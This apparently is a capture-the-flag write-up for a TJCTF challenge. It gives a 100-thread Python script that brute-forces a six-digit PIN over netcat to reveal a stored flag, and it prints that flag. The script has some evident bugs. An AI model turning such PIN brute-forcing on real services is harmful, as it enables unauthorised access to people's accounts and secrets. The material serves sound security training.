# Simply Secure Secrets (50 points, misc)
## Problem`nc p1.tjctf.org 8000`
## SolutionRunning the command mentioned above, we are taken to a service:```Welcome to the Simply Secure Service! (TRIAL)The product: an impregnable bunker for your most vulnerable secrets.---------------------------------------------Commands:    l - List all secret names    s - Store a secret    r - Reveal a secret    u - Upgrade to PRO    h - Display this help menu    x - Exit service> ```Let's poke around a little bit.```> lList of stored secret names:  - tjctf  - evan  - omkar> ```
Interesting. The secret is probably inside of `tjctf`. Let's retrieve it with the previously-mentioned `r` command.```> rSecret name: tjctfSecret pin:```It's now asking for a pin number. Let's enter something random and see what happens.```Secret pin: 1Secret pin must be in ###### format.```Let's see if we get anything back if we enter a pin number in the format the program wants.```Secret pin: 000001Invalid pin. The appropriate authorities have been notified.> ```
Not the police.
Well, my first thought would be to bruteforce this problem, and it seems I was right.
### The Script
``` Pythonimport socketimport threadingimport time
# https://gist.github.com/leonjza/f35a7252babdf77c8421 class Netcat:
    """ Python 'netcat like' module """
    def __init__(self, ip, port):
        self.buff = ""        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.socket.connect((ip, port))
    def read(self, length = 1024):
        """ Read 1024 bytes off the socket """
        return self.socket.recv(length)     def read_until(self, data):
        """ Read data into the buffer until we have data """
        while not data in self.buff:            self.buff += self.socket.recv(1024)         pos = self.buff.find(data)        rval = self.buff[:pos + len(data)]        self.buff = self.buff[pos + len(data):]         return rval     def write(self, data):
        self.socket.send(data)
    def writeln(self, data):
        data += b"\n"        self.socket.send(data)
    def close(self):
        self.socket.close()
class SolverThread(threading.Thread):    def run(self):        thread_number = int(threading.currentThread().getName())        self.do_the_stuff(10000, thread_number)
    def do_the_stuff(self, cracking_range, thread_number):        nc = Netcat('p1.tjctf.org', 8000)        for x in range(cracking_range * thread_number, cracking_range *                (thread_number + 10000)):            nc.buff = b''            print(nc.read_until(b">"))            nc.writeln(str.encode("r"))            nc.read_until(b"Secret")            nc.writeln(str.encode("tjctf"))            nc.read_until(b"Secret")            print(str(x).zfill(6))            nc.writeln(str.encode(str(x).zfill(6)))
def main():    for x in range(100):        thread = SolverThread(name = "{}".format(x + 1))        thread.daemon = True # allow us to Ctrl+C to kill all threads        thread.start()    while True:        time.sleep(1)
if __name__ == '__main__':    main()```
Yeah. It's kind of a mess. It works by creating 100 threads, each tasked with:.1. Creating a netcat connection to `pi.tjctf.org 8000`2. Then, in a loop:	1. Sending a bunch of commands to reach the pin entry prompt (as demonstrated above)	2. Checking one of the pin numbers it's assigned (via its thread number)	3. Printing what it returns (for use by `tee -a` and `grep`.
Run the script with `python3 sss.py | tee -a flag` and to use it, in another window, occaisonaly grep the file for `tjctf`, it shows up eventually.
```$ python3 sss.py | tee -a flag.txt$ grep tjctf flag.txtb'Secret content: tjctf{1_533_y0u_f0rc3d_y0ur_w4y_1n}\n>'```
